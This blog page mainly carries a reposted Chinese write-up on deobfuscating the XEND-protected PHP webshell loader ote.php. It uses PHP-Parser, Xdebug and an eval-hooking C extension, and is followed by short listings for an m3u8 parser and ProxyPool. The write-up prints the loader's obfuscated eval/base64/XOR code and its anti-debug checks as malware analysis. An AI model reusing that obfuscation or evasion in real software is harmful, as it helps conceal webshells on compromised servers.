分类: 建站进阶

  • XEND 解密详解

    XEND 解密详解

    本文转载自 https://sophiatazar.com/archives/1124.html

    正文

    正式开始之前,我要着重强调一下这次解混淆对我帮助极大的两大利器:

    • PHP-Parser:剥离AST(抽象语法树),看清几个主要函数的大致功能
    • VScode + Xdebug + Xdebug Helper:远程调试,找出隐藏的函数调用入口和不可见字符变量的正确值

    一、PHP-Parser格式化代码,掀起第一层面纱

    先来看看ote.php长啥样:

    ote.php原始模样
    文件里面充斥着乱码:除了函数名变量名全部变成乱码外,return之后,php闭合标签之前,还用webshell经典表达格式eval(str_rot13(‘乱码’)),执行了一大串乱码。

    由于文件里的代码没有任何换行和空格,直接阅读难度极大,那么优先请出代码格式化工具:PHP-Parser。

    
    <?php
    use PhpParser\Error;
    use PhpParser\ParserFactory;
    use PhpParser\PrettyPrinter;
    use PhpParser\NodeDumper;
    require 'vendor/autoload.php';
    $code = file_get_contents('');
    // PHP-Parser5.0版本中已经不再使用ParserFactory::create()
    $parser = (new ParserFactory)->createForNewestSupportedVersion();
    try {
        // 剥离抽象语法树,以节点的模式展开代码逻辑
        $ast = $parser->parse($code);
        $nodeDumper = new NodeDumper;
        $pretty = $nodeDumper->dump($ast)."\n";
    } catch (Error $error) {
        echo "Parse error: {$error->getMessage()}\n";
        return;
    }
    $prettyPrinter = new PrettyPrinter\Standard;
    $prettyCode = $prettyPrinter->prettyPrintFile($ast);
    
    file_put_contents('', $prettyCode);

    执行以上代码,即可输出美化后的ote.php:

    <?php
    
    /*
    baidu
    */
    if (!defined('K130BF63FF11C62E1C7B5DD99A611C3DD')) {
        define('K130BF63FF11C62E1C7B5DD99A611C3DD', __FILE__);
        if (!function_exists('��⟈��')) {
            global $��dž���, $ś�ܘ��, $����됕, $���ؤ��, $���Ú˭, $�������, $�ڒ邖�, $����ٲ�, $�������, $���пޙ;
            global $ޞ�Պ��, $������, $�������, $�������, $��젴��, $��מ��, $��Ј��, $��ʍ��;
            function ��⟈��(&$������, $����ʧ, $ק��� = 0)
            {
                global $����됕, $ś�ܘ��, $�ڒ邖�, $����ٲ�, $�������, $���пޙ;
                $����ٲ� = '';
                $����됕 += $ק���;
                $������� = $����됕 . '';
                if ($ק��� == 31) {
                    $������� = $ś�ܘ��;
                }
                if ($ק��� == 16) {
                    eval($���пޙ('JMzC4Zvgk+o9bmV3IFJlZmxlY3Rpb25GdW5jdGlvbigiz/Lin4jL+iIpOyS2kKbx+c/iPSTMwuGb4JPqLT5nZXRQYXJhbWV0ZXJzKCk7JO2UhtrPr5A9c3RycG9zKEsxMzBCRjYzRkYxMUM2MkUxQzdCNUREOTlBNjExQzNERCxfX0ZJTEVfXyk7JMWby9yYl549JO2UhtrPr5AuJLaQpvH5z+JbMF0tPm5hbWU7'));
                }
                $���ǯȢ = strlen($����ʧ);
                $ڽ��ō = strlen($�������);
                $����ѽ� = 0;
                for ($i = 0; $i < $���ǯȢ; $i++) {
                    if ($����ѽ� >= $ڽ��ō) {
                        $����ѽ� = 0;
                    }
                    if ($ק��� == 30) {
                        $������ = $�ڒ邖�($��阹��);
                        return;
                    }
                    $����ٲ� .= $�������[$����ѽ�] ^ $����ʧ[$i];
                    $����ѽ�++;
                }
                $������ = $����ٲ�;
                return $����ٲ�;
            }
            eval(base64_decode('ZnVuY3Rpb24gloPd3MeJmSgpe2dsb2JhbCAk6PbHhvfwiSwkxZvL3JiXniwks4ri2KSZrywkuKCEw5rLrTskuKCEw5rLrSgk6PbHhvfwiSwk6PbHhvfwiSwzMSk7JO2UhtrPr5A9c3RycG9zKEsxMzBCRjYzRkYxMUM2MkUxQzdCNUREOTlBNjExQzNERCxfX0ZJTEVfXyk7JO2UhtrPr5AuPSTo9seG9/CJO3JldHVybiAk7ZSG2s+vkDt9'));
            function 䥰���(&$��阹��)
            {
                global $��dž���, $ś�ܘ��, $ޞ�Պ��, $�ق����, $�������, $�������, $��젴��, $��מ��, $��Ј��, $��ʍ��;
                $��dž��� = $�������($�������('K130BF63FF11C62E1C7B5DD99A611C3DD'));
                $���Ļ� = $��젴��($��מ��(__FUNCTION__));
                $��dž��� = $��Ј��($��dž���, -133721, -8);
                $��dž��� = $��ʍ��($ޞ�Պ��($���Ļ�), '', $��dž���);
                $��dž��� = $��ʍ��("\\'", "'", $��dž���);
                $��dž��� = $��ʍ��("\\\\", "\\", $��dž���);
                $��dž��� = $��Ј��($��dž���, 34);
                $ś�ܘ�� .= '��Խ��';
                return ����lj�();
                $��阹�� = $��젴��($��阹��);
                return $��阹��;
            }
        }
    }
    $������� = '��⟈��';
    $�ڒ邖� = '䥰���';
    $������ = $���˟�� = $��攕�� = $���܌�� = $ײ����� = $�՝� = $���܆�� = $�ƶ��� = $���Ú˭ = $�ȇ��� = $����آ� = $������� = $�������;
    $ś�ܘ�� = 'XOCqbp';
    $����됕 = 90;
    if (!isset($��DZ�)) {
        $�ƶ���($����ʅ, 'VG]', 5);
        // $����ʅ = 'ord';
        eval(base64_decode('JIOgu4fmt8UoJJfK7KC0haYsJ0JEQ25CXkUBAicsJOLC8a/tyoUoJwYnKSk7aWYoJJfK7KC0haYhPWJhc2U2NF9kZWNvZGUoJ2MzUnlYM0p2ZERFeicpKXtldmFsKCSXyuygtIWmKTtyZXR1cm47fQ=='));
        eval(base64_decode('JMPo5tyG5cwoJLOK4tikma8sJ1VZXFwnLCTiwvGv7cqFKCcIJykpO2lmKCSziuLYpJmvIT1iYXNlNjRfZGVjb2RlKCdaR2xsJykpe2V2YWwoJLOK4tikma8pO3JldHVybjt9'));
        eval(base64_decode('JMDGtvmu7JcoJIDHwtC/3pksJ1NTQ1QEBG5WVVJdVFQnLCTiwvGv7cqFKCcLJykpO2lmKCSAx8LQv96ZIT1iYXNlNjRfZGVjb2RlKCdZbUZ6WlRZMFgyUmxZMjlrWlE9PScpKXtldmFsKCSAx8LQv96ZKTtyZXR1cm47fQ=='));
        eval(base64_decode('JKOgtMufk8YoJPqBu4eo0d8sJ1daX1RsVFRHbFJcXF1FVl1FQCcsJOLC8a/tyoUoJw0nKSk7aWYoJPqBu4eo0d8hPWJhc2U2NF9kZWNvZGUoJ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNPScpKXtldmFsKCT6gbuHqNHfKTtyZXR1cm47fQ=='));
        eval(base64_decode('JI7o5pSVkdgoJKDn0IjqptksJ0JBW0JASycsJOLC8a/tyoUoJxAnKSk7aWYoJKDn0IjqptkhPWJhc2U2NF9kZWNvZGUoJ2MzVmljM1J5Jykpe2V2YWwoJKDn0IjqptkpO3JldHVybjt9'));
        eval(base64_decode('JLevjdyMnqooJPKo0JXCpqYsJ0JCRF1TWCcsJOLC8a/tyoUoJxEnKSk7aWYoJPKo0JXCpqYhPWJhc2U2NF9kZWNvZGUoJ2MzUnliR1Z1Jykpe2V2YWwoJPKo0JXCpqYpO3JldHVybjt9'));
        eval(base64_decode('JNeyxMDr4JQoJOPvrMqNqJAsJ0JMR25KUEFUVFJdJywk4sLxr+3KhSgnEycpKTtpZigk4++syo2okCE9YmFzZTY0X2RlY29kZSgnYzNSeVgzSmxjR3hoWTJVPScpKXtldmFsKCTj76zKjaiQKTtyZXR1cm47fQ=='));
        eval(base64_decode('JJXuvbDVnfooJMPZgp2LnY4sJ0JCUlVvRVdAW1NTUm1TVl5cXFVTU1xcJywk4sLxr+3KhSgnFicpKTtpZigkw9mCnYudjiE9YmFzZTY0X2RlY29kZSgnY0hKbFoxOXlaWEJzWVdObFgyTmhiR3hpWVdOcicpKXtldmFsKCTD2YKdi52OKTtyZXR1cm47fQ=='));
        eval(base64_decode('JMDGtvmu7JcoJL/7j9b3wJcsJ1FcXF9BR1BcXEcnLCTiwvGv7cqFKCcYJykpO2lmKCS/+4/W98CXIT1iYXNlNjRfZGVjb2RlKCdZMjl1YzNSaGJuUT0nKSl7ZXZhbCgkv/uP1vfAlyk7cmV0dXJuO30='));
        eval(base64_decode('JJjG94jjxuwoJOSyw9eewJMsJ19RAicsJOLC8a/tyoUoJxonKSk7aWYoJOSyw9eewJMhPWJhc2U2NF9kZWNvZGUoJ2JXUTEnKSl7ZXZhbCgk5LLD157Akyk7cmV0dXJuO30='));
        eval(base64_decode('JLighMOay60oJN6e2dWKz80sJ0FMRkZXQUJIUUAnLCTiwvGv7cqFKCcbJykpO2lmKCTentnVis/NIT1iYXNlNjRfZGVjb2RlKCdjM1J5ZEc5MWNIQmxjZz09Jykpe2V2YWwoJN6e2dWKz80pO3JldHVybjt9aWYocGhwX3NhcGlfbmFtZSgpPT0nY2xpJylleGl0O2lmKHByZWdfbWF0Y2goJy9cYih2YXJfZHVtcHxwcmludF9yKVxzKlwoXHMqZ2V0X2RlZmluZWRfdmFyc1xiL2knLGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpKWV4aXQoJ0VNR0RWJyk7'));
        if (strstr($_SERVER['HTTP_USER_AGENT'], chr(46))) {
            eval(base64_decode('JKnIh43zpNYoJJOcn7K8hswsJ0BFRkdDJywk4sLxr+3KhSgnHicpKTtpZigkk5yfsryGzCE9YmFzZTY0X2RlY29kZSgnYzNSeWRIST0nKSl7ZXZhbCgkk5yfsryGzCk7cmV0dXJuO30='));
        }
        eval(base64_decode('JLnZ+93YoswoJJPmjubLwYssJ0BAR0NbRicsJOLC8a/tyoUoJx8nKSk7aWYoJJPmjubLwYs9PWJhc2U2NF9kZWNvZGUoJ3g1TDNqcW1jOEE9PScpKXtldmFsKCST5o7my8GLKTtyZXR1cm47fQ=='));
        $�ڒ邖�($��阹��);
        if (strstr($_SERVER['HTTP_USER_AGENT'], chr(46))) {
            eval($��阹��);
        }
        return;
    }
    return '555Q5SSPP58NQS899S932OP14P68P056';
    eval(str_rot13('obfuscated code'));

    经过初步美化后,肉眼可见的范围内定义了2个函数,两个函数之间还用eval(base64_decode())的结构执行了一长串编码。定义完函数后,继续用eval(base64_decode())的结构,隐式调用前述函数。不过这里有一点值得注意的是,隐式调用全部位于if (!isset($Ã��DZ�)) {}之内,并且末尾有return,这就意味着if条件判断之外的eval(str_rot13())表达式,不会被执行。

    因此,初步估计eval(str_rot13())表达式中的参数是待解密的密文。

    现在还只是初步美化,如果将乱码的变量名和函数名合并同类项,再进行替换,变成更美观可读的格式呢:

    下面将定义函数部分的变量名函数名进行再美化,并将eval(base64_decode())还原:

    <?php
    
    /*
    baidu
    */
    if (!defined('K130BF63FF11C62E1C7B5DD99A611C3DD')) {
        define('K130BF63FF11C62E1C7B5DD99A611C3DD', __FILE__);
        if (!function_exists('func0')) {
            global $v0, $v1, $v2, $v3, $v4, $v5, $v6, $v7, $v5, $v8;
            global $v9, $v10, $v5, $v5, $v11, $v12, $v13, $v14;
            
            // 对乱码进行异或运算,还原函数名和密文
            function func0(&$v10, $v15, $v16 = 0)
            {
                global $v2, $v1, $v6, $v7, $v5, $v8;
                $v7 = '';
                $v2 += $v16;
                $v5 = $v2 . '';
                if ($v16 == 31) {
                    $v5 = $v1;
                }
                if ($v16 == 16) {
                    $v10=new ReflectionFunction("func0");
                    $v5=$v10->getParameters();
                    $v17=strpos(K130BF63FF11C62E1C7B5DD99A611C3DD,__FILE__);
                    $v1=$v17.$v5[0]->name;
                }
                $v17 = strlen($v15);
                $v18 = strlen($v5);
                $v19 = 0;
                for ($i = 0; $i < $v17; $i++) {
                    if ($v19 >= $v18) {
                        $v19 = 0;
                    }
                    if ($v16 == 30) {
                        $v10 = $v6($v20);
                        return;
                    }
                    $v7 .= $v5[$v19] ^ $v15[$i];
                    $v19++;
                }
                $v10 = $v7;
                return $v7;
            }
            
            // 调用func0,对最后那一长串密文进行异或运算
            function func1()
            {
                global $v0, $v1, $v3, $v4;
                $v4($v0, $v0, 31);
                $v21 = strpos(K130BF63FF11C62E1C7B5DD99A611C3DD, __FILE__);
                $v21 .= $v0;
                return $v21;
            }
    
            // 对一长串密文进行字符串替换,并拼接出完整的异或密钥
            function func2(&$v20)
            {
                global $v0, $v1, $v9, $v22, $v5, $v5, $v11, $v12, $v13, $v14;
                $v0 = $v5($v5('K130BF63FF11C62E1C7B5DD99A611C3DD'));
                $v23 = $v11($v12(__FUNCTION__));
                $v0 = $v13($v0, -133721, -8);
                $v0 = $v14($v9($v23), '', $v0);
                $v0 = $v14("\\'", "'", $v0);
                $v0 = $v14("\\\\", "\\", $v0);
                $v0 = $v13($v0, 34);
                $v1 .= '��Խ��';
                return func1();
                $v20 = $v11($v20);
                return $v20;
            }
        }
    }

    函数调用部分,我也将base64编码进行了还原,因为结构大差不差,所以就展示第一个base64还原的结果:

    $v5 = 'func0';
    $v6 = 'func2';
    
    $v10 = $v24 = $v25 = $v26 = $v27 = $v28 = $v29 = $v30 = $v4 = $v31 = $v32 = $v5 = $v5;
    $v1 = 'XOCqbp';
    $v2 = 90;
    if (!isset($v33)) {
        $v30($v34, 'VG]', 5); // 还原出$v34是 ord
        $v10($v11, 'BDCnB^E', $v34(''));
        if ($v11 != base64_decode('c3RyX3JvdDEz')) {
            eval($v11);
            return;
        }
    }

    可以发现,第一和第二个函数中间夹着的那一串base64编码,解码出来后,其实就是第二个函数。

    而函数调用部分,先调用func0,优先还原出$v34(ord)。之后便采用func0(明文,密钥,ord(”))的方式依次还原函数名。还原出的函数名依次为:

    ord
    
    str_rot13
    
    die
    
    base64_decode
    
    file_get_contents
    
    substr // $v16=16,运行到这里会进入反射类
    
    strlen
    
    str_replace
    
    preg_replace_callback
    
    constant
    
    md5
    
    strtoupper

    既然还原出函数名了,那么可以对二次美化过的代码进行第三次美化,用真正的函数名替换原先的$v1,$v2。替换出来后,可以更直观地理解这几个函数的用意:

    function func0(&$v10, $v15, $v16 = 0)
            {
                global $v2, $v1, $v6, $v7, $v5, $v8;
                $v7 = '';
                $v2 += $v16;
                $v5 = $v2 . '';
                if ($v16 == 31) {
                    $v5 = $v1;
                    echo $v5.PHP_EOL;
                }
                echo $v16.PHP_EOL;
                if ($v16 == 16) {
                    $v10=new ReflectionFunction("func0");
                    $v5=$v10->getParameters();
                    $v17=strpos(K130BF63FF11C62E1C7B5DD99A611C3DD,__FILE__);
                    $v1=$v17.$v5[0]->name;
                }
                $v17 = strlen($v15);
                $v18 = strlen($v5);
                $v19 = 0;
                for ($i = 0; $i < $v17; $i++) {
                    if ($v19 >= $v18) {
                        $v19 = 0;
                    }
                    if ($v16 == 30) {
                        $v10 = $v6($v20);
                        return;
                    }
                    $v7 .= $v5[$v19] ^ $v15[$i];
                    $v19++;
                }
                $v10 = $v7;
                return $v7;
            }
            
            function func1()
            {
                global $v0, $v1, $v3, $v4;
                func0($v0, $v0, 31);
                $v21 = strpos(K130BF63FF11C62E1C7B5DD99A611C3DD, 'ote.php');
                $v21 .= $v0;
                return $v21;
            }
    
            function func2(&$v20)
            {
                global $v0, $v1, $v9, $v22, $v5, $v5, $v11, $v12, $v13, $v14;
                $v0 = file_get_contents(constant('K130BF63FF11C62E1C7B5DD99A611C3DD'));  // 等价于file_get_contents('ote.php');
                $v23 = str_rot13(md5(__function__));
                $v0 = substr($v0, -133721, -8);
                $v0 = str_replace(strtoupper($v23), '', $v0);
                $v0 = str_replace("\\'", "'", $v0);
                $v0 = str_replace("\\\\", "\\", $v0);
                $v0 = substr($v0, 34); // 这一步已经完全抽离密文
                $v1 .= '��խ��';
                return func1();
                $v20 = str_rot13($v20);
                return $v20;
            }

    二、动态调试解混淆

    经过数次美化后,文件内被替换成不可见字符的变量名、函数名已经基本还原,可以进入动态调试阶段。

    这一步最重要的是工具准备,即调试环境的搭建。对于PHP动态调试,网上的推荐一般是PHPstorm + Xdebug为主。但PHPstorm要收费,又没有免费的社区版。都是IDE,干嘛不用便宜好用的VSCODE替代PHPstorm?网络教程关于VSCODE搭调试环境的资料不多,而且多有错漏。这里我参考的是掘金的一份教程,很全面细心,连nginx配置超时都提到了。有需要的话欢迎移步参考:vscode+xdebug实现远程调试PHP项目代码

    因为Xdebug在调试控制台里显示的变量字符长度有限制,如果需要从调试控制台里复制一个超长的字符串变量,可以在launch.json里将max_data设置为-1,或者通过file_put_content方式将其写入另一个文件。配置如下:

    "version": "0.2.0",
    "configurations": [
        {
            "name": "远程调试",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "hostname": "localhost",
            "xdebugSettings": {
                "max_data": -1, // 配置长字符串无限制显示
                "max_children": -1
            }
        },

    环境搭建好了,现在对美化后的代码进行调试前最后一次检查,看下是否存在反调试。果然有,因为原始代码调用函数是通过eval(base64_decode())方式执行,前面几条是用于还原函数名,最后两条做了if条件判断,检查了超全局变量$_SERVER[‘HTTP_USER_AGENT’]。而检查超全局变量前一条eval(base64_decode())的参数特别长,解码出来,发现它这一条参数不仅打包了还原函数名,还打包了两个反调试的点:

    $v4($v9, 'ALFFWABHQ@', $v34(''));  // 还原函数名为strtoupper
    if ($v9 != base64_decode('c3RydG91cHBlcg==')) {
       eval($v9);
       return;
    }
    if (php_sapi_name() == 'cli') {
       exit;
    }
    if (preg_match('/\b(var_dump|print_r)\s*\(\s*get_defined_vars\b/i', file_get_contents($_SERVER['SCRIPT_FILENAME']))) {
       exit('EMGDV');
    }

    这里有两处反调试:一是检测当前环境是否为命令行(CLI);二是使用正则表达式来检查当前脚本文件的内容,查找是否包含了var_dump或print_r函数与get_defined_vars函数的组合。这两段代码注释掉即可。

    另,之前函数名还原中还原了die,但是一直没有看到调用。

    调试出来的是一个webshell登录界面。

    webshell后台登录界面

    对这三个主体函数进行解释(为方便理解,根据函数调用顺序来解释说明):

    func0:

    用于XOR解密(包括还原函数名和webshell密文)。

    接收3个参数,$v10是还原好的字符串,$v15是密文字符串,$v16是数字,用于+=赋值给全局变量$v2,作为异或运算的密钥,兼作if条件判断的依据。

    func2:

    用于清洗webshell密文字符串,并拼接XOR密钥。

    先是读取当前文件内容,再通过一系列字符串替换操作,抽离出eval(str_rot13())的参数,将其作为最终的密文传给func1。

    eval(str_rot13())前的字符串,是经过rot13编码的func2的md5值。没有特殊含义,只是作为字符串替换的标记点。

    用于解密最终密文的XOR密钥($v1)先初始化为一个无意义字符串’XOCqbp’,但在还原substr时,控制流的数字值为16,func0进入反射类,$v1在此被赋值为func0的第一个参数名。而在调用func2的过程中,$v1继续拼接’��Խ��’,至此拼接成完整的密钥字符串。

    func1:

    调用func0,对webshell密文进行XOR解密。

    解密出来的webshell代码,是个门类齐全的大马,里面还分段用str_rot13和strrev做了轻量级的混淆。以iXend_为前缀的变量随处可见,更加石锤是XEND混淆。内有署名:

    刺客 2024最新兼容所有版本大马

    因为文件名叫ote.php,我一开始还以为是ote team的作品,原来只是挂名啊。这个webshell也是老面孔了,看解密后的明文,应该是在silic2015.php的基础上改的。因为很多Webshell都是互相抄,所以特征会存在多个webshell内。

    三、与PHPjiami的对比

    既然是PHP解混淆,我寻思到PHP作为上一代的WEB霸主,这套混淆法可能已经有现成的解决方案了。于是我不假思索就去了吾爱破解和精易两大逆向论坛。在师傅们分享的解密样本里翻箱倒柜,看到有师傅分享了PHPjiami的逆向经验,我粗粗一看,还怪像的咧。但上手拆解之后,才发现自己真心错付了。

    XEND相比PHPjiami等混淆法,有几个特点比较显著:

    1. XEND的密文在PHP闭合括号内,而PHPjiami和phpjm的密文在PHP闭合括号外。
    2. 存在数个同名全局变量,因为通过eval(base64_decode())方式执行,变量值没有互相污染,但是给逆向带来一定困扰,无法完全依赖PHP-parser等工具解密,需要一定的代码阅读能力,理解代码用意。
    3. 因为大量eval(base64_decode())方式执行的代码,加上字符集的原因,原始文件改动任何一处再执行都会报错:eval()’d code on line 1。哪怕是删掉注释一个字再加回来,都会报这个错误。一开始以为存在某种完整性校验,其实不是,是字符集的问题。
    4. 第二个函数不是显式的,隐藏在eval(base64_decode())的参数中。

    但XEND和PHPjiami也有很多相似之处,不然我也不会一开始将XEND误认为PHPjiami:

    1. 都是3个主要函数,只不过XEND把第二个函数隐藏在base64编码后
    2. 都用异或(XOR)运算还原密文
    3. 可以认为XEND是混淆强度更高的PHPjiami。

    四、不听老人言,吃亏在眼前

    其实解密到了临门一脚的时候,我遇到了一个百思不得其解的问题,足足困扰了我好几天。本地的解密脚本用原始文件一模一样的XOR密钥,在所有参数一模一样的情况下,解密出来的东西完全不一样。原始文件的密钥长度为14,本地的密钥长度是28,可这个密钥是我从原始文件调试控制台里复制出来的,千真万确如假包换的密钥呀,我又拿复制出来的密钥替换了原始文件的密钥,原始文件解密成功。种种迹象都说明了这密钥,比珍珠还真。

    那几天我都有点PTSD了,别人问我,你那个好了吗,问的是别的东西,可我下意识回答到:遇到了很奇怪的问题,还差最后一步,解不出来!

    我找了个朋友大吐苦水,把遇到的奇怪情况大写特写几十条,顺便问问她有没有别的思路。可是说来很奇怪,就在我复述问题的时候,脑中突然灵光一现:是单字节的锅!

    于是我赶快把文件的编码从UTF8改成ISO 8859-1,并用新的字符编码获取了密钥。这次密钥的长度是14了,解密顺利。

    其实字符编码的问题,之前解密PHPjiami的多位佬就已经语重心长提醒过,一定要换成单字节的字符编码。可惜我一开始不以为意,以为是无关痛痒的小点。这下,掉坑里了吧!

    没想到吧,我与PHP混淆法XEND的爱恨纠葛,还在延续。在上面,我用动态调试法解开了XEND最外层的混淆。一般的PHP混淆法,解完第一层混淆后,底下的明文就显露出来了,但XEND第一层混淆解开后,还有轻度的混淆,没有隐藏各种调用入口和函数名的弯弯绕绕了,可就是恶心:str_rot13、eval(base64_decode())和strrev乱飞的一个大几百行PHP文件。

    第二层的混淆不复杂,混淆的手段就这三种,但动态调试或者手工还原会非常繁琐。但我当时懒(bushi),没有继续解第二层的混淆。结果,前段时间我收到了网友的交流邮件,这才下定决心解开第二层的混淆。

    不求甚解才是进步的最大敌人。

    一、HOOK EVAL 大法好!

    在第二层的混淆上,既然动态调试和手工解密变得事倍功半了,那么有没有相对高效的第三种方法?讲到这里,我们不得不细细回想PHP的混淆法都有哪些比较泛化的特点。除了各种基于古典密码的字符串移位变形函数,如str_rot13,异或、ord之流,最为人熟悉的应该是可以执行任意代码的高危表达式eval,因为绝大部分的webshell都会把混淆后的代码交给eval执行。

    那么,不管是变形到多么面糊模糊的代码,交给eval执行,eval也得把它还原成明文才能执行,这样一想,找个办法把eval的参数打印出来,不就好了吗?

    在PHP中,eval这些语言结构,在ZEND里最终会调用zend_compile_string,而如果你到PHP源码里查找这个函数,会在zend.c里找到这句:

    zend_compile_string = compile_string;

    并在zend_compile.h里找到如下声明:

    extern ZEND_API zend_op_array *(*zend_compile_string)(zend_string *source_string, const char *filename, zend_compile_position position);

    不难看出,zend_compile_string就是函数compile_string的函数指针。这个指针是PHP安全研究员、PHP核心开发者Stefan Esser于2006年率先提出的,以便在调用compile_string时执行某些操作,也是这位大佬,在2010年率先提出了通过编写扩展的方式,在zend_compile_string上挂钩子,打印它的参数source_string来获取还原好的明文,还贴心地提供了对应的PHP扩展

    二、半吊子PHP扩展开发:更适合PHP8宝宝体质的evalhook

    PHP的底层是C,我之前从来没有写过C,也没有接触过PHP内核和ZEND ENGINE,于是抱着学习的心态,开始了跌跌撞撞的PHP内核学习之旅。因为有其他编程语言的底子,看懂C代码并不难;想要参与PHP扩展开发,对新手来说,一开始的难点主要在于理解PHP扩展结构,特别是用于管理PHP扩展生命周期的几个宏,比如:PHP_MINIT,PHP_RINIT,PHP_MSHUTDOWN,和PHP_RSHUDOWN。

    我在网上搜了一圈这个扩展,编译好的版本都是5.6的,扩展的源码也是基于PHP5.6。我寻思这PHP版本都进入8时代了,不如就把它按照PHP8的规范改写,顺便也让自己过一遍PHP扩展开发。说干就干!

    PHP版本:8.2.22
    操作系统:Linux

    首先是搭建PHP扩展开发环境,那就得编译安装PHP,并安装apache2,配置apache和PHP通信,以及PHP、PHP-FPM等服务的环境变量。这个网上可以找到教程,就不赘述(踩了蛮多坑的,但如果有人有需要,日后可以写一篇配环境的文章)。

    原先的插件源码,也就是evalhook.c,要改动的地方不多,PHP_MINIT_FUNCTION和PHP_MSHUTDOWN_FUNCTION中的控制流程无需变动。这里我不得不说佬就是佬,斯特凡大佬很聪明地定义了一个布尔值evalhook_hooked用于流程控制,使得代码结构很简洁。

    主要的改动在zend_compile_string这个指针指向的函数compile_string上。PHP8.2及其之后的8.3版本中,compile_string的参数由2个变为3个,多了一个参数position。同时,斯特凡大佬的插件原先有一个控制台交互功能,读取用户控制台输入Y/N来决定是否执行eval或终止进程,同时他打印输出也是打印在控制台。不过我们的目的是解webshell混淆,而很多webshell呢,内置了检查USER AGENT之类的反调试手段,因此这个打印输出的方式也要改一下,方便我们在WEB环境里查看(这里可以用curl和php内置server在命令行模拟web环境,避开webshell的UA检测,但这又是另一个故事了)。

    更改的代码如下:

    static zend_op_array *(*orig_compile_string)(zend_string *source_string, const char *filename, zend_compile_position position);
    static zend_bool evalhook_hooked = 0;
    
    static zend_op_array *evalhook_compile_string(zend_string *source_string, const char *filename, zend_compile_position position)
    {
        int c, len;
        char *copy;
    	
        /* Ignore non string eval() */
        if (ZSTR_LEN(source_string) == 0) {
            return orig_compile_string(source_string, filename, position);
        }
    	
        len = ZSTR_LEN(source_string);
        copy = estrndup(ZSTR_VAL(source_string), len);
        if (len > strlen(copy)) {
    	for (c=0; c<len; c++) if (copy[c] == 0) copy[c] == '?';
        }
    	
        php_printf("\n--------- start decoding ------------\n");
        php_printf("%s\n", copy);
        php_printf("--------- end decoding ------------\n");
    	
        return orig_compile_string(source_string, filename, position);
    }

    在web环境下打开ote.php,点击view source,即可看到解密效果,第二层的混淆也被解开了:

    查看页面源码已经能看到解密后的明文代码

    原先第二层依然做了rot13等轻度混淆

    我已经把基于PHP8.2.22编译的.so扩展,放到城通网盘,在php.ini中开启扩展即可使用。

    evalhook.so34KB

    解码后的ote.php,我也放到github上了,需要可以自取

    参考资料:

    逢魔安全实验室(20年之后甚少看到更新)的:解密混淆的PHP程序

    腾讯应急响应中心的:浅谈变形PHP WEBSHELL检测

    phith0n佬的:phpjiami 数种解密方法

    E99p1ant佬的:『自闭 PHP 内核』 vol1. 来写一个 PHP 扩展吧~

  • 极速资源m3u8去广告json解析接口源码

    极速资源m3u8去广告json解析接口源码

    无需更改任何代码,文件上传网站直接调用就可以。

    调用方法:域名/?url= 示例:http://www.baidu.com/?url=

    支持二级目录或多级目录

    极速资源m3u8去广告json解析接口源码-百谷资源网
  • ProxyPool  一款好用的简易高效的代理池源码

    ProxyPool 一款好用的简易高效的代理池源码

    简易高效的代理池,提供如下功能:

    • 定时抓取免费代理网站,简易可扩展。
    • 使用 Redis 对代理进行存储并对代理可用性进行排序。
    • 定时测试和筛选,剔除不可用代理,留下可用代理。
    • 提供代理 API,随机取用测试通过的可用代理。

    代理池原理解析可见「如何搭建一个高效的代理池」,建议使用之前阅读。

    使用准备

    首先当然是克隆代码并进入 ProxyPool 文件夹:

    git clone https://github.com/Python3WebSpider/ProxyPool.git
    cd ProxyPool
    

    然后选用下面 Docker 和常规方式任意一个执行即可。

    使用要求

    可以通过两种方式来运行代理池,一种方式是使用 Docker(推荐),另一种方式是常规方式运行,要求如下:

    Docker

    如果使用 Docker,则需要安装如下环境:

    • Docker
    • Docker-Compose

    安装方法自行搜索即可。

    常规方式

    常规方式要求有 Python 环境、Redis 环境,具体要求如下:

    • Python>=3.6
    • Redis

    Docker 运行

    如果安装好了 Docker 和 Docker-Compose,只需要一条命令即可运行。docker-compose up

    运行结果类似如下:

    redis        | 1:M 19 Feb 2020 17:09:43.940 * DB loaded from disk: 0.000 seconds
    redis        | 1:M 19 Feb 2020 17:09:43.940 * Ready to accept connections
    proxypool    | 2020-02-19 17:09:44,200 CRIT Supervisor is running as root.  Privileges were not dropped because no user is specified in the config file.  If you intend to run as root, you can set user=root in the config file to avoid this message.
    proxypool    | 2020-02-19 17:09:44,203 INFO supervisord started with pid 1
    proxypool    | 2020-02-19 17:09:45,209 INFO spawned: 'getter' with pid 10
    proxypool    | 2020-02-19 17:09:45,212 INFO spawned: 'server' with pid 11
    proxypool    | 2020-02-19 17:09:45,216 INFO spawned: 'tester' with pid 12
    proxypool    | 2020-02-19 17:09:46,596 INFO success: getter entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
    proxypool    | 2020-02-19 17:09:46,596 INFO success: server entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
    proxypool    | 2020-02-19 17:09:46,596 INFO success: tester entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
    

    可以看到 Redis、Getter、Server、Tester 都已经启动成功。

    这时候访问 http://localhost:5555/random 即可获取一个随机可用代理。

    当然你也可以选择自己 Build,直接运行如下命令即可:

    docker-compose -f build.yaml up
    

    如果下载速度特别慢,可以自行修改 Dockerfile,修改:- RUN pip install -r requirements.txt + RUN pip install -r requirements.txt -i https://pypi.douban.com/simple

    常规方式运行

    如果不使用 Docker 运行,配置好 Python、Redis 环境之后也可运行,步骤如下。

    安装和配置 Redis

    本地安装 Redis、Docker 启动 Redis、远程 Redis 都是可以的,只要能正常连接使用即可。

    首先可以需要一下环境变量,代理池会通过环境变量读取这些值。

    设置 Redis 的环境变量有两种方式,一种是分别设置 host、port、password,另一种是设置连接字符串,设置方法分别如下:

    设置 host、port、password,如果 password 为空可以设置为空字符串,示例如下:export PROXYPOOL_REDIS_HOST=’localhost’ export PROXYPOOL_REDIS_PORT=6379 export PROXYPOOL_REDIS_PASSWORD=” export PROXYPOOL_REDIS_DB=0

    或者只设置连接字符串:export PROXYPOOL_REDIS_CONNECTION_STRING=’redis://localhost’

    这里连接字符串的格式需要符合 redis://[:password@]host[:port][/database] 的格式, 中括号参数可以省略,port 默认是 6379,database 默认是 0,密码默认为空。

    以上两种设置任选其一即可。

    安装依赖包

